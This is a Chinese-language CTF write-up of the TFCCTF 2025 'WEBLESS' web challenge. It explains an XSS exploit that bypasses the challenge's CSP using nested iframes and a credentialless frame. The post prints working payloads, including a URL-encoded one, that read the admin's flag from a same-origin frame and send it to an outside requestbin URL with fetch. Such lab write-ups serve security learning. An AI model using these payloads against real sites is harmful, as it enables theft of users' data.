TFCCTF 2025 web

OneZ3r0 Lv3

前言

xss大赛

其实题目质量我还是挺满意的,就是xss太多了,看得有点疲惫了

WEBLESS

关键信息

server.py

1
resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"

invalid.html

1
<h1>Wrong credentials for {{ user|safe }}</h1>

基础payload

1
2
3
<script>fetch('http://requestbin.cn:80/zqiv1dzq')</script>

<iframe credentialless src="/login?username={URLENCODE_XSS}&password=1"></iframe>

欸这题有2个坑点,一个是credentialless,当时做的时候没注意到,因为bot是带着管理员的cookie和session的,默认已登录,如果不加,访问login路由就失效了!

另外第二个坑点,在Report to Admin的时候需要修改题目环境url为127.0.0.1:5000才可以,因为bot是这样登陆的

1
driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
1
<input type="hidden" name="url" value="http://127.0.0.1:5000/post/1">

接下来就是xss的部分,主要思路是用一个iframe读取同源的/post/0,再用另一个iframe获取父域下前一个iframe读到的flag,在同源的login路由xss传出来

1
2
3
<iframe id="flag_frame" src="/post/0"></iframe>

<iframe credentialless src="/login?username={URLENCODE_XSS}&password=1"></iframe>

第二个iframe中用到的xss逻辑

1
2
3
4
5
<script>
const doc = top.document.getElementById('flag_frame').contentDocument;
const flag = doc.getElementById('description').innerText;
fetch('http://requestbin.cn/zqiv1dzq?flag='+flag)
</script>

最后payload如下

1
2
3
<iframe id="flag_frame" src="/post/0"></iframe>

<iframe credentialless src="/login?username=%3Cscript%3E%0Aconst%20doc%20%3D%20top%2Edocument%2EgetElementById%28%27flag%5Fframe%27%29%2EcontentDocument%3B%0Aconst%20flag%20%3D%20doc%2EgetElementById%28%27description%27%29%2EinnerText%3B%0Afetch%28%27http%3A%2F%2Frequestbin%2Ecn%2Fzqiv1dzq%3Fflag%3D%27%2Bflag%29%0A%3C%2Fscript%3E&password=1"></iframe>

image-20250901201840877
image-20250901201840877

  • 标题: TFCCTF 2025 web
  • 作者: OneZ3r0
  • 创建于 : 2025-09-02 10:53:29
  • 更新于 : 2026-02-20 20:05:18
  • 链接: https://blog.onez3r0.top/2025/09/02/tfcctf-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
TFCCTF 2025 web